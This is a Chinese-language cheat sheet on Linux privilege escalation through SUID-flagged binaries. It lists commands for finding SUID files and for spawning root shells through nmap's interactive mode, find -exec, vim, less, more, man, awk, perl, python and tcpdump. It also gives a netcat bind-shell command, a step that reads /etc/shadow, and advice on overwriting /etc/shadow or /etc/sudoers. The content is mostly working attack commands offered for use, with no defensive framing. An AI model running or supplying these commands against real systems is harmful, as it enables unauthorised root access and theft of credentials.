Linux提权中,可以用的SUID文件来提权,SUID的作用就是:让本来没有相应权限的用户运行这个程序时,可以访问没有权限访问的资源。
通常可以使用一下命令来找有SUID标志位的文件:
1
2
3
|
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s - type f 2> /dev/null find / -user root -perm -4000 - exec ls -ldb {} \; |
例如nmap
1
2
|
ls -l /usr/bin/nmap -rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap |
存在s 则表示其存在SUID标志位,并拥有root的执行权限。以下是几类可用于提权的文件总结:
老版本的nmap(2.02-5.21)有 interactive,是允许用户执行系统命令的。提权方式
1
|
nmap --interactive
|
之后执行命令:
1
2
3
|
nmap> !sh sh-3.2 # whoami root |
msf中的模块为:
1
|
exploit /unix/local/setuid_nmap |
1
2
|
touch test find test - exec whoami \; |
如果服务器上装了nc,可以直接使用以下命令进行监听:
1
|
find test - exec netcat -lvp 5555 -e /bin/sh \; |
之后进行连接:
1
|
netcat 192.168.1.100 5555
|
则可获取root shell
打开vim,按下ESC
1
2
|
: set shell= /bin/sh :shell |
则可执行命令
1
2
3
|
bash -p bash -3.2 # id uid=1002(service) gid=1002(service) euid=0(root) groups =1002(service ) |
1
2
|
less /etc/passwd ! /bin/sh |
1
2
|
more /home/pelle/myfile ! /bin/bash |
使用cp覆盖 /etc/shadow
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
1
|
awk 'BEGIN {system("/bin/bash")}' |
1
2
|
man passwd ! /bin/bash |
perl
1
|
exec "/bin/bash" ; |
python
1
2
|
import os os.system( "/bin/bash" ) |
1
2
3
|
echo $ 'id\ncat /etc/shadow' > /tmp/ . test chmod +x /tmp/ . test sudo tcpdump - ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/ . test -Z root |